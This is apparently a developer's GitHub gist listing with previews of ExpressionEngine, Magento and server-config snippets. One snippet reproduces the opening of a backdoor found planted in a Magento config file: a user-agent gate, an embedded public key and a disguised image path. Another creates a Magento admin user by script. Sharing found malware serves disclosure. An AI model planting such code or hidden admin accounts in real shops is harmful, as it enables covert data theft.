Skip to content

Instantly share code, notes, and snippets.

{exp:low_events:entries
... params ...
}
... stuff ...
{layout:set name="paginate_next" value="abc"}
{paginate}
{pagination_links}
<div class="row">
@litzinger
litzinger / sql.structure.php
Last active April 18, 2016 17:43
Structure Improvements
<?php
function get_site_pages($cache_bust=false, $override_slash=false)
{
$cache_key = '/structure/get_site_pages';
if (!$cache_bust && ($cached_pages = ee()->cache->get($cache_key))) {
return $cached_pages;
}
@litzinger
litzinger / ee-db-indexes.sql
Last active February 6, 2019 20:29
DB Indexes for improved EE performance. Courtesy of @mrw
ALTER TABLE exp_channel_titles ADD INDEX sticky_order (sticky,entry_date,entry_id);
# Even if you don't use sticky, every {exp:channel:entries} tag queries on it.
ALTER TABLE exp_category_posts ADD INDEX(cat_id);
ALTER TABLE exp_files ADD INDEX file_uploads (upload_location_id,file_name);
# Lastly, make sure tables are InnoDB.
@litzinger
litzinger / error.html
Created February 26, 2016 02:01
Example error template that can be used in Custom System Messages, an ExpressionEngine add-on.
{if csm:error == TRUE AND csm:action == 11}
<div class="error-message">
<strong>The following errors were encountered:</strong>
<ul class="error-fields">
{csm:content}
</ul>
</div>
{/if}
<div class="grid-row">
<h3>SIGN IN</h3>
@litzinger
litzinger / PhraseContext.php
Last active September 27, 2016 22:21
This is an example of a old EE 2 method in my Publisher add-on and how I converted it to EE 3. I've also included the Behat unit(ish) tests so far for the model. For more information on that see https://github.com/litzinger/ee-behat
<?php
use Behat\Behat\Context\Context;
use Behat\Gherkin\Node\TableNode;
use Publisher\Model\Phrase;
use Publisher\Model\PhraseGroup;
use Publisher\Model\PhraseTranslation;
use Publisher\Service\Request;
class PhraseContext implements Context
{
@litzinger
litzinger / php.ini
Created October 3, 2015 11:55
MAMP php.ini extra settings
[xdebug]
zend_extension="/Applications/MAMP/bin/php/php5.4.33/lib/php/extensions/no-debug-non-zts-20100525/xdebug.so"
xdebug.remote_enable=1
xdebug.remote_host=localhost
xdebug.remote_port=9000
xdebug.remote_autostart=1
xdebug.profiler_enable=0
xdebug.profiler_output_dir="/Users/blitzing/Documents/vhosts/_logs/webgrind"
xdebug.profiler_enable_trigger=1
xdebug.profiler_output_name = cachegrind.out.%t.%p
@litzinger
litzinger / ee-varnish.conf
Created September 3, 2015 14:35
Basic configuration for EE and Varnish
backend default {
# .host = "XXX.XXX.XXX.XXX";
.host = "127.0.0.1";
.port = "8080";
}
sub vcl_recv {
# Forward client's IP to backend
remove req.http.X-Forwarded-For;
@litzinger
litzinger / hack.php
Last active June 20, 2016 15:43
The following was added to the magento includes/config.php file
<?PHP
$y0 = './skin/adminhtml/default/default/images/cancel_icon_bg.gif';
$m1 = '1355773528';
$k2 = 'pccbe60c';
$k3 = "-----BEGIN PUBLIC KEY-----\nMIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFiKhzEGVUxLdkdAPmTVH74QwWBk\n0cDppNX3n0fmVZyBPcYZ5YIbEeSLIOCXKb5xT/ZrwYyk13jMIho9WPlLRJdxT2Rj\nbcMvXszvWBwh1lCovrl6/kulIq5ZcnDFdlcKzW2PR/19+gkKhRGk1YUXMLgw6EFj\nj2c1LJoSpnzk8WRFAgMBAAE=\n-----END PUBLIC KEY-----";
if (@$_SERVER['HTTP_USER_AGENT'] == 'Visbot/2.0 (+http://www.visvo.com/en/webmasters.jsp;bot@visvo.com)') {
if (isset($_GET[$k2])) {
$m1 = file_exists($y0)
? @filemtime($y0)
: $m1;
@litzinger
litzinger / create-magento-user.php
Created June 4, 2015 16:57
Create a Magento user via PHP script to get into admin area.
<?php
define( 'USERNAME', 'new.user' );
define( 'PASSWORD', 'password' );
define( 'FIRSTNAME', 'Excited' );
define( 'LASTNAME', 'Croc' );
define( 'EMAIL', 'new.user@magento.com' );
include_once( 'app/Mage.php' );
Mage::app( 'admin' );
try {
@litzinger
litzinger / puphpet-config.yml
Last active August 29, 2015 14:17
Config Tricks to speed up Symfony in dev mode.
php:
install: '1'
version: '56'
composer: '1'
composer_home: ''
modules:
php:
- cli
- intl
- mcrypt